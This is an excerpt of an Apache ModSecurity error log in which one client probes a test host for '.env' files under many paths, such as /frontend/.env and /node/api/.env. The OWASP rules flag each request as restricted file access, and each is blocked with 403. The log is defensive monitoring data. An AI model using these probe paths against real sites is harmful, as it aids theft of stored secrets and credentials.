[Fri Mar 13 10:38:58.065269 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/frontend/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8IgAAAAs"]
[Fri Mar 13 10:38:58.065436 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/frontend/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8IgAAAAs"]
[Fri Mar 13 10:38:58.065545 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/frontend/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8IgAAAAs"]
[Fri Mar 13 10:38:58.181737 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lms/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8JwAAAAs"]
[Fri Mar 13 10:38:58.181931 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lms/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8JwAAAAs"]
[Fri Mar 13 10:38:58.182054 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lms/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8JwAAAAs"]
[Fri Mar 13 10:38:58.204675 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8KAAAAAs"]
[Fri Mar 13 10:38:58.204872 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8KAAAAAs"]
[Fri Mar 13 10:38:58.204989 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8KAAAAAs"]
[Fri Mar 13 10:38:58.250614 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /market/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/market/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8KgAAAAs"]
[Fri Mar 13 10:38:58.250798 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/market/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8KgAAAAs"]
[Fri Mar 13 10:38:58.250927 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/market/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8KgAAAAs"]
[Fri Mar 13 10:38:58.273457 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /marketing/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/marketing/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8KwAAAAs"]
[Fri Mar 13 10:38:58.273655 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/marketing/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8KwAAAAs"]
[Fri Mar 13 10:38:58.273778 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/marketing/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8KwAAAAs"]
[Fri Mar 13 10:38:58.296306 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8LAAAAAs"]
[Fri Mar 13 10:38:58.296523 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8LAAAAAs"]
[Fri Mar 13 10:38:58.296658 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8LAAAAAs"]
[Fri Mar 13 10:38:58.342137 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8LgAAAAs"]
[Fri Mar 13 10:38:58.342329 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8LgAAAAs"]
[Fri Mar 13 10:38:58.342485 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8LgAAAAs"]
[Fri Mar 13 10:38:58.365236 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node-api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node-api/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8LwAAAAs"]
[Fri Mar 13 10:38:58.365433 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node-api/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8LwAAAAs"]
[Fri Mar 13 10:38:58.365560 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node-api/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8LwAAAAs"]
[Fri Mar 13 10:38:58.387700 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8MAAAAAs"]
[Fri Mar 13 10:38:58.387887 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8MAAAAAs"]
[Fri Mar 13 10:38:58.388007 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8MAAAAAs"]
[Fri Mar 13 10:38:58.411339 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node/api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/api/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8MQAAAAs"]
[Fri Mar 13 10:38:58.411524 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/api/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8MQAAAAs"]
[Fri Mar 13 10:38:58.411642 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/api/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8MQAAAAs"]
[Fri Mar 13 10:38:58.433911 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node/backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/backend/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8MgAAAAs"]
[Fri Mar 13 10:38:58.434095 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/backend/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8MgAAAAs"]
[Fri Mar 13 10:38:58.434213 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/backend/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8MgAAAAs"]
[Fri Mar 13 10:38:58.457611 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nodeapi/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nodeapi/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8MwAAAAs"]
[Fri Mar 13 10:38:58.457804 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nodeapi/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8MwAAAAs"]
[Fri Mar 13 10:38:58.457937 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nodeapi/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8MwAAAAs"]
[Fri Mar 13 10:38:58.480386 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nodeweb/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nodeweb/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8NAAAAAs"]
[Fri Mar 13 10:38:58.480574 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nodeweb/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8NAAAAAs"]
[Fri Mar 13 10:38:58.480692 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nodeweb/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8NAAAAAs"]
[Fri Mar 13 10:38:58.502873 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8NQAAAAs"]
